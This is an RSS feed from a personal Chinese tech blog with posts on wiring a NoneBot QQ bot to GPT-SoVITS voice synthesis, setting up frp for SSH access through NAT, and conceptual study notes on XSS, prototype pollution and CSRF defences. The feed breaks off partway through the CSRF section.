<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>学习 on EuDs&#39;s Blog</title>
    <link>https://ds63.eu.org/categories/%E5%AD%A6%E4%B9%A0/</link>
    <follow_challenge>
      <feedId>55788057182175234</feedId>
      <userId>67186528297029632</userId>
    </follow_challenge>
    <description>Recent content in 学习 on EuDs&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Wed, 26 Feb 2025 16:23:34 +0800</lastBuildDate><atom:link href="https://ds63.eu.org/categories/%E5%AD%A6%E4%B9%A0/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>NoneBot接入GPT-SoVITS</title>
      <link>https://ds63.eu.org/2025/connect-nonebot-with-gpt-sovits/</link>
      <pubDate>Wed, 26 Feb 2025 16:23:34 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2025/connect-nonebot-with-gpt-sovits/</guid>
      <description>慢才是快</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>很经常在b站刷到AI音声之类的视频，自己也爱看。某日心血来潮，决定自己试一试。</p>
<p>B站一搜，搜到了<a href="https://www.bilibili.com/video/BV1XH4y137Lk"  target="_blank" rel="noopener" >MyGO角色GPT-SoVITS语音模型分享和使用教程</a>，<a href="https://www.yuque.com/baicaigongchang1145haoyuangong/ib3g1e/dkxgpiy9zb96hob4"  target="_blank" rel="noopener" >整合包及模型下载链接</a>，照着教程做。没一会就搞好了。整合包很方便，没遇上啥问题。</p>
<p>GPT-SoVITS的效果很惊艳，音色很像，甚至还能模仿参考音频的情绪。</p>
<p>我用的整合包提供了web界面，但我不够满足，想把它接入到我遗弃许久的qq bot中。</p>
<p>一搜，找到了<a href="https://github.com/zhaomaoniu/nonebot-plugin-gpt-sovits"  target="_blank" rel="noopener" >zhaomaoniu/nonebot-plugin-gpt-sovits: ✨ NoneBot2 Plugin for GPT-SoVITS ✨</a>。</p>
<p>原本以为接入也会很顺利，结果还是花了快一个下午的时间，在此记录下。</p>
<p>注意，我使用的电脑系统为win11，使用的是<a href="https://www.yuque.com/baicaigongchang1145haoyuangong/ib3g1e/dkxgpiy9zb96hob4"  target="_blank" rel="noopener" >整合包及模型下载链接</a>的<code>Windows整合包</code></p>
<h2 id="过程">过程</h2>
<ol>
<li>运行<code>api_v2.py</code>: <code>runtime\python.exe api_v2.py</code></li>
<li>这时候启动时的所默认加载的模型可能不是我们想要的模型，有两种方式能改:
<ul>
<li>修改<code>GPT_SoVITS/configs/tts_infer.yaml</code>的<code>t2s_weights_path</code>和<code>vits_weights_path</code></li>
<li><code>api_v2.py</code>提供了相应的接口:<code>set_gpt_weights</code>和<code>set_sovits_weights</code>，拿postman发下请求就行。我托gpt帮忙写了个python脚本,如下:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">send_request</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">params</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 对参数进行URL编码，确保特殊字符不会被转义错误</span>
</span></span><span class="line"><span class="cl">        <span class="n">encoded_params</span> <span class="o">=</span> <span class="p">{</span><span class="n">key</span><span class="p">:</span> <span class="n">quote</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">safe</span><span class="o">=</span><span class="s1">&#39;:/&#39;</span><span class="p">)</span> <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">params</span><span class="o">.</span><span class="n">items</span><span class="p">()}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># 发送GET请求</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">encoded_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># 检查HTTP响应状态码</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;成功:&#34;</span><span class="p">,</span> <span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;失败: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">, 错误信息: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="n">requests</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">RequestException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;请求发送失败: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 设置 GPT 模型权重</span>
</span></span><span class="line"><span class="cl"><span class="n">gpt_weights_url</span> <span class="o">=</span> <span class="s2">&#34;http://127.0.0.1:9880/set_gpt_weights&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">gpt_weights_params</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;weights_path&#34;</span><span class="p">:</span> <span class="s2">&#34;GPT_weights/tomori1-e20.ckpt&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 设置 Sovits 模型权重</span>
</span></span><span class="line"><span class="cl"><span class="n">sovits_weights_url</span> <span class="o">=</span> <span class="s2">&#34;http://127.0.0.1:9880/set_sovits_weights&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">sovits_weights_params</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;weights_path&#34;</span><span class="p">:</span> <span class="s2">&#34;SoVITS_weights/tomori1_e12_s2664.pth&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 发送请求</span>
</span></span><span class="line"><span class="cl"><span class="n">send_request</span><span class="p">(</span><span class="n">gpt_weights_url</span><span class="p">,</span> <span class="n">gpt_weights_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">send_request</span><span class="p">(</span><span class="n">sovits_weights_url</span><span class="p">,</span> <span class="n">sovits_weights_params</span><span class="p">)</span>
</span></span></code></pre></div></li>
<li>接下来就是配置<a href="https://github.com/zhaomaoniu/nonebot-plugin-gpt-sovits"  target="_blank" rel="noopener" >zhaomaoniu/nonebot-plugin-gpt-sovits</a>了，文档写得蛮清楚的，这里不过多赘述。</li>
</ol>
<h2 id="踩坑">踩坑</h2>
<ul>
<li><a href="https://github.com/zhaomaoniu/nonebot-plugin-gpt-sovits"  target="_blank" rel="noopener" >zhaomaoniu/nonebot-plugin-gpt-sovits</a>文档里需要填<code>GPT_SOVITS_EMOTION_MAP</code>，也给了示例，但我不知道怎么在.env里填不是字符串的东西。于是找到了<code>.venv/Lib/site-packages/nonebot_plugin_gpt_sovits/config.py</code>,在那里改，比如我是改成了这样:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Config</span><span class="p">(</span><span class="n">pydantic</span><span class="o">.</span><span class="n">BaseModel</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_api_base_url</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;http://127.0.0.1:9880&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_api_v2</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">bool</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_command</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;羊姐说话&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_convert_to_silk</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">bool</span><span class="p">]</span> <span class="o">=</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_emotion_map</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="n">List</span><span class="p">[</span><span class="n">Emotion</span><span class="p">]]</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;平静&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;sentences&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span><span class="s2">&#34;text&#34;</span><span class="p">:</span> <span class="s2">&#34;凄く苦そうだけど……美味しいじゃあ、どうして……&#34;</span><span class="p">,</span> <span class="s2">&#34;language&#34;</span><span class="p">:</span> <span class="s2">&#34;ja&#34;</span><span class="p">,</span> <span class="s2">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;D:</span><span class="se">\\</span><span class="s2">Project</span><span class="se">\\</span><span class="s2">NoneBot</span><span class="se">\\</span><span class="s2">Hesap</span><span class="se">\\</span><span class="s2">tomori.wav&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">gpt_sovits_args</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">dict</span><span class="p">]</span> <span class="o">=</span> <span class="p">{}</span>
</span></span></code></pre></div></li>
<li><code>refer_wav_path = sentence.path</code>得改成<code>refer_wav_path = sentence[&quot;path&quot;]</code></li>
<li>路径问题，python的<code>\</code>是转义符，所以得改成<code>\\</code></li>
<li>绕远路
<ol>
<li>bot能回复我的命令了，但生成出来的声音只是吹气，或者是简单的一个词。虽然音色上有点像了。</li>
<li>怀疑是爆显存，因为我web没关，但排查后发现不是。</li>
<li>怀疑是api版本的问题，默认用的是v2。尝试切回v1,结果发现用v1版的更麻烦，于是还是老老实实用v2，也就是<a href="https://github.com/jianchang512/gptsovits-api"  target="_blank" rel="noopener" >jianchang512/gptsovits-api: 适用于 GPT-SoVITS 的api调用接口</a>,这里的文档相对来说更详细。</li>
<li>尝试debug<a href="https://github.com/zhaomaoniu/nonebot-plugin-gpt-sovits"  target="_blank" rel="noopener" >zhaomaoniu/nonebot-plugin-gpt-sovits</a>和<a href="https://github.com/RVC-Boss/GPT-SoVITS"  target="_blank" rel="noopener" >RVC-Boss/GPT-SoVITS: 1 min voice data can also be used to train a good TTS model! (few shot voice cloning)</a>，其实就是看几个参数变量能不能对得上,没啥结果。</li>
<li>用postman发了下请求，意外地没问题。然后就发现自己在配置文件的参考音频的路径那少打了一个<code>\</code>，:(</li>
</ol>
</li>
</ul>
<h2 id="画饼">画饼</h2>
<h3 id="接入llm">接入llm</h3>
<p>我这个bot主要是想让她来rp高松灯，或者说是rp羊姐。那现在她已经能够发声了，但每次发声还是靠我们给她手动输入的指令。能不能让她接入llm，能比较智能的根据上下文，主动的出来说几句呢？</p>
<p>我在插件商店搜到过几个llm插件，但不少都似乎不可用，也许只是因为版本迭代更新不及时导致的。后面可以尝试下。</p>
<h3 id="长文本">长文本</h3>
<p>接下来就是要解决长文本的问题了。最理想的情况是，我丢一本书进去，直接给我吐生成好的音频。</p>
<ul>
<li><a href="https://zidonglaoli.com/c231.html"  target="_blank" rel="noopener" >用Python代码调用GPT-SoVITS | 自动老李的博客</a></li>
<li><a href="https://github.com/RVC-Boss/GPT-SoVITS/issues/1256"  target="_blank" rel="noopener" >我改进了一下文本切分方式，这似乎能极大改善长文本生成的质量。 · Issue #1256 · RVC-Boss/GPT-SoVITS</a></li>
<li><a href="https://github.com/jianchang512/gptsovits-api"  target="_blank" rel="noopener" >jianchang512/gptsovits-api: 适用于 GPT-SoVITS 的api调用接口</a></li>
<li><a href="https://www.bilibili.com/video/BV1DJF6eHE4y"  target="_blank" rel="noopener" >GPT-SoVITS一键配音集成包推出，srt字幕一键配音，可音频转字幕</a> 这个把我想做的做好了，甚至功能还有溢出。</li>
</ul>
<h3 id="给我的博客也接入">给我的博客也接入</h3>
<p>高松灯的一大技能是念诗，我的博客有摘抄些诗词，可以让她念念。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>frp实现ssh内网穿透连接</title>
      <link>https://ds63.eu.org/2024/use_frp_to_ssh/</link>
      <pubDate>Sun, 15 Dec 2024 23:15:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/use_frp_to_ssh/</guid>
      <description>frp is awesome</description>
      <content:encoded><![CDATA[<h2 id="版本">版本</h2>
<p>本文章使用的版本为frp_0.61.0_linux_amd64</p>
<hr>
<h2 id="工作原理">工作原理</h2>
<p>frp 主要由两个组件组成：客户端(frpc) 和 服务端(frps)。通常情况下，服务端部署在具有公网 IP 地址的机器上，而客户端部署在需要穿透的内网服务所在的机器上。</p>
<p>由于内网服务缺乏公网 IP 地址，因此无法直接被非局域网内的用户访问。用户通过访问服务端的 frps，frp 负责根据请求的端口或其他信息将请求路由到相应的内网机器，从而实现通信。</p>
<hr>
<h2 id="需求">需求</h2>
<p>我有一台配有公网ip的服务器，以及两台linux电脑，分别称为电脑a和电脑b。</p>
<p>我希望使用电脑a，在非局域网环境下，也能使用ssh访问电脑b。</p>
<hr>
<h2 id="服务端配置">服务端配置</h2>
<ul>
<li>假定我的服务器的ip为<code>6.6.6.6</code></li>
<li>安装目录位于: <code>/home/ubuntu/frp/frp_0.61.0_linux_amd64</code></li>
<li><code>frps.toml</code>文件为服务端的配置文件,内容如下
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c">#服务绑定的IP与端口</span>
</span></span><span class="line"><span class="cl"><span class="nx">bindAddr</span> <span class="p">=</span> <span class="s2">&#34;0.0.0.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">bindPort</span> <span class="p">=</span> <span class="mi">7000</span>
</span></span><span class="line"><span class="cl"><span class="c">#web dashboard配置</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">addr</span> <span class="p">=</span> <span class="s2">&#34;0.0.0.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">port</span> <span class="p">=</span> <span class="mi">7001</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">user</span> <span class="p">=</span> <span class="s2">&#34;admin&#34;</span> <span class="c"># change</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">password</span> <span class="p">=</span> <span class="s2">&#34;admin&#34;</span> <span class="c"># change</span>
</span></span><span class="line"><span class="cl"><span class="c">#启用prometheus监控指标</span>
</span></span><span class="line"><span class="cl"><span class="nx">enablePrometheus</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl"><span class="c">#token权限验证，需与客户端配置一致</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">method</span> <span class="p">=</span> <span class="s2">&#34;token&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">token</span> <span class="p">=</span> <span class="s2">&#34;simpletoken&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c">#日志配置</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">to</span> <span class="p">=</span> <span class="s2">&#34;/home/ubuntu/frp/frp_0.61.0_linux_amd64/frps/logs/frps.log&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">level</span> <span class="p">=</span> <span class="s2">&#34;info&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">maxDays</span> <span class="p">=</span> <span class="mi">3</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="启动服务端">启动服务端</h3>
<ul>
<li>
<p><strong>命令行方式启动</strong>:</p>
<p><code>./frps -c ./frps.toml</code></p>
</li>
<li>
<p><strong>使用systemd方式启动</strong></p>
<ol>
<li>配置文件<code>/etc/systemd/system/frps.service</code>,具体内容如下</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="o">[</span>Unit<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 服务名称，可自定义</span>
</span></span><span class="line"><span class="cl"><span class="nv">Description</span> <span class="o">=</span> frp server
</span></span><span class="line"><span class="cl"><span class="nv">After</span> <span class="o">=</span> network.target syslog.target
</span></span><span class="line"><span class="cl"><span class="nv">Wants</span> <span class="o">=</span> network.target
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Service<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">Type</span> <span class="o">=</span> simple
</span></span><span class="line"><span class="cl"><span class="c1"># 启动frps的命令，需修改为您的frps的安装路径</span>
</span></span><span class="line"><span class="cl"><span class="nv">ExecStart</span> <span class="o">=</span> /home/ubuntu/frp/frp_0.61.0_linux_amd64/frps -c /home/ubuntu/frp/frp_0.61.0_linux_amd64/frps.toml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Install<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">WantedBy</span> <span class="o">=</span> multi-user.target
</span></span></code></pre></div><ol start="2">
<li>启动服务
<ul>
<li><code>systemctl daemon-reload</code></li>
<li><code>systemctl start frps</code></li>
</ul>
</li>
</ol>
</li>
</ul>
<hr>
<h2 id="客户端配置">客户端配置</h2>
<ul>
<li>我将电脑b作为客户端</li>
<li>安装目录位于: <code>/home/ubuntu/Desktop/frp_0.61.0_linux_amd64</code></li>
<li><code>frpc.toml</code>文件为服务端的配置文件,内容如下
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">serverAddr</span> <span class="p">=</span> <span class="s2">&#34;6.6.6.6&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">serverPort</span> <span class="p">=</span> <span class="mi">7000</span> <span class="c">#要和frps.toml的bindPort一致</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">method</span> <span class="p">=</span> <span class="s2">&#34;token&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">token</span> <span class="p">=</span> <span class="s2">&#34;simpleToken&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c">#日志配置</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">to</span> <span class="p">=</span> <span class="s2">&#34;/home/ubuntu/Desktop/frp_0.61.0_linux_amd64/logs/frpc.log&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">level</span> <span class="p">=</span> <span class="s2">&#34;info&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">log</span><span class="p">.</span><span class="nx">maxDays</span> <span class="p">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">proxies</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl"><span class="nx">name</span> <span class="p">=</span> <span class="s2">&#34;ssh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="p">=</span> <span class="s2">&#34;tcp&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">localIP</span> <span class="p">=</span> <span class="s2">&#34;127.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">localPort</span> <span class="p">=</span> <span class="mi">22</span>
</span></span><span class="line"><span class="cl"><span class="nx">remotePort</span> <span class="p">=</span> <span class="mi">6000</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="启动客户端">启动客户端</h3>
<ul>
<li>
<p><strong>命令行方式启动</strong>:</p>
<p><code>./frpc -c ./frpc.toml</code></p>
</li>
<li>
<p><strong>使用systemd方式启动</strong></p>
<ol>
<li>配置文件<code>/etc/systemd/system/frpc.service</code>,具体内容如下</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="o">[</span>Unit<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">Description</span> <span class="o">=</span> frp client
</span></span><span class="line"><span class="cl"><span class="nv">After</span> <span class="o">=</span> network.target syslog.target
</span></span><span class="line"><span class="cl"><span class="nv">Wants</span> <span class="o">=</span> network.target 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Service<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">Type</span> <span class="o">=</span> simple
</span></span><span class="line"><span class="cl"><span class="c1"># 启动frps的命令，需修改为您的frpc的安装路径</span>
</span></span><span class="line"><span class="cl"><span class="nv">ExecStart</span> <span class="o">=</span> /home/ubuntu/Desktop/frp_0.61.0_linux_amd64/frpc -c /home/ubuntu/Desktop/frp_0.61.0_linux_amd64/frpc.toml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Install<span class="o">]</span> 
</span></span><span class="line"><span class="cl"><span class="nv">WantedBy</span> <span class="o">=</span> multi-user.target
</span></span></code></pre></div><ol start="2">
<li>启动服务
<ul>
<li><code>systemctl daemon-reload</code></li>
<li><code>systemctl start frpc</code></li>
</ul>
</li>
</ol>
</li>
</ul>
<h2 id="访问">访问</h2>
<ul>
<li>命令: <code>ssh -o Port=6000 ubuntu@6.6.6.6 -i ~/my_key.pem</code></li>
<li>注释
<ul>
<li>这里的<code>Port</code>为<code>frpc.toml</code>中设置的<code>remotePort</code></li>
<li><code>-i ~/my_key.pem</code> ，我是用来ssh连接<code>6.6.6.6</code>的</li>
<li>这里的<code>ubuntu</code>为电脑b的用户名</li>
<li>登录上后如果需要密码,那尝试输入电脑b的密码</li>
</ul>
</li>
<li>可以这样配置<code>~/.ssh/config</code>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Host 电脑b
</span></span><span class="line"><span class="cl">  HostName 6.6.6.6
</span></span><span class="line"><span class="cl">  Port <span class="m">6000</span>
</span></span><span class="line"><span class="cl">  User ubuntu
</span></span><span class="line"><span class="cl">  IdentityFile ~/.ssh/my_key.pem
</span></span></code></pre></div></li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://github.com/fatedier/frp"  target="_blank" rel="noopener" >fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet.</a></li>
<li><a href="https://gofrp.org/zh-cn/docs/"  target="_blank" rel="noopener" >文档 | frp</a></li>
<li><a href="https://github.com/fatedier/frp/issues/1607"  target="_blank" rel="noopener" >请问frpc里面可以设置多个server_addr吗？ · Issue #1607 · fatedier/frp</a></li>
<li><a href="https://www.cnblogs.com/hovin/p/18023593#_label4_2"  target="_blank" rel="noopener" >使用Frp配置内网访问（穿透） - hovin - 博客园</a></li>
<li><a href="https://wiki-power.com/%E4%BD%BF%E7%94%A8frp%E8%AE%BF%E9%97%AE%E7%BE%A4%E6%99%96NAS/"  target="_blank" rel="noopener" >使用 frp 访问群晖 NAS - Power&rsquo;s Wiki</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>前端安全</title>
      <link>https://ds63.eu.org/2024/frontend_security/</link>
      <pubDate>Fri, 11 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/frontend_security/</guid>
      <description>自己学习过程中整理的关于前端安全的知识点</description>
      <content:encoded><![CDATA[<h2 id="xss攻击">xss攻击</h2>
<ul>
<li>Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。</li>
<li>三种类型:
<table>
<thead>
<tr>
<th>类型</th>
<th>存储区</th>
<th>插入点</th>
</tr>
</thead>
<tbody>
<tr>
<td>存储型 XSS</td>
<td>后端数据库</td>
<td>HTML</td>
</tr>
<tr>
<td>反射型 XSS</td>
<td>URL</td>
<td>HTML</td>
</tr>
<tr>
<td>DOM 型 XSS</td>
<td>后端数据库/前端存储/URL</td>
<td>JavaScript</td>
</tr>
</tbody>
</table>
</li>
<li>DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。</li>
<li>防范
<ol>
<li>阻止攻击者提交恶意代码
<ul>
<li>输入过滤： 道高一尺魔高一丈，难</li>
<li>输入长度限制</li>
</ul>
</li>
<li>防止浏览器执行恶意代码
<ul>
<li>预防存储型和反射型 XSS 攻击
<ul>
<li>改成纯前端渲染，把代码和数据分隔开。</li>
<li>对 HTML 做充分转义</li>
</ul>
</li>
<li>预防 DOM 型 XSS 攻击</li>
</ul>
</li>
<li>利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本</li>
<li>对关键 Cookie 设置 http-only 属性</li>
</ol>
</li>
<li>参考：
<ul>
<li><a href="https://tech.meituan.com/2018/09/27/fe-security.html"  target="_blank" rel="noopener" >前端安全系列（一）：如何防止XSS攻击？ - 美团技术团队</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Cross-site_scripting"  target="_blank" rel="noopener" >Cross-site scripting（跨站脚本攻击） - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
<li><a href="https://urdusecurity.blogspot.com/2014/04/xss-chalenges-bypass.html"  target="_blank" rel="noopener" >Example</a></li>
<li><a href="https://juejin.cn/post/6874743455776505870"  target="_blank" rel="noopener" >浅谈 React 中的 XSS 攻击 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP"  target="_blank" rel="noopener" >内容安全策略（CSP） - HTTP | MDN</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="javascript-prototype-污染攻击">JavaScript Prototype 污染攻击</h2>
<h3 id="prototype基本概念">prototype基本概念</h3>
<ul>
<li><code>prototype</code>是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法</li>
<li>一个对象的<code>__proto__</code>属性，指向这个对象所在的类的<code>prototype</code>属性</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html"  target="_blank" rel="noopener" >深入理解 JavaScript Prototype 污染攻击 | 离别歌</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain"  target="_blank" rel="noopener" >继承与原型链 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="csrf">CSRF</h2>
<h3 id="概念">概念</h3>
<ul>
<li>CSRF（Cross-site request forgery）跨站请求伪造</li>
<li>一次CSRF攻击的过程
<ol>
<li>攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。</li>
<li>利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。</li>
</ol>
</li>
</ul>
<h3 id="特点">特点:</h3>
<ul>
<li>CSRF（通常）发生在第三方域名。</li>
<li>CSRF攻击者不能获取到Cookie等信息，只是使用</li>
</ul>
<h3 id="防护策略">防护策略</h3>
<ul>
<li><strong>阻止不明外域的访问</strong>
<ul>
<li>同源检测
<ul>
<li>使用<code>Origin Header</code>确定来源域名</li>
<li>使用<code>Referer Header</code>确定来源域名</li>
<li>如果直接在本域发起攻击，同源策略无法达到防护的作用</li>
<li>Samesite Cookie</li>
</ul>
</li>
</ul>
</li>
<li><strong>提交时要求附加本域才能获取的信息</strong>
<ul>
